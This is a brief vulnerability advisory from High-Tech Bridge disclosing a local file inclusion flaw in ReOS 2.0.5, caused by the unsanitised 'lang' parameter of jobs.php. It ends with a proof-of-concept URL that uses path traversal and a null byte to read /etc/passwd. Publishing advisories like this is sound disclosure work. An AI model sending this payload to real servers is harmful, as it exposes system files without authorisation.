HTB22808: Local File Inclusion in ReOS

[advisory () htbridge ch]

Vulnerability ID: HTB22808
Reference: http://www.htbridge.ch/advisory/local_file_inclusion_in_reos.html
Product: ReOS
Vendor: IT ELAZOS S.L. ( http://reos.elazos.com/ ) 
Vulnerable Version: 2.0.5
Vendor Notification: 20 January 2011 
Vulnerability Type: Local File Inclusion
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/jobs.php" script to properly sanitize user-supplied input in "lang" 
variable.

The following PoC is available:


http://[host]/jobs.php?lang=/../../../../../../../../etc/passwd%00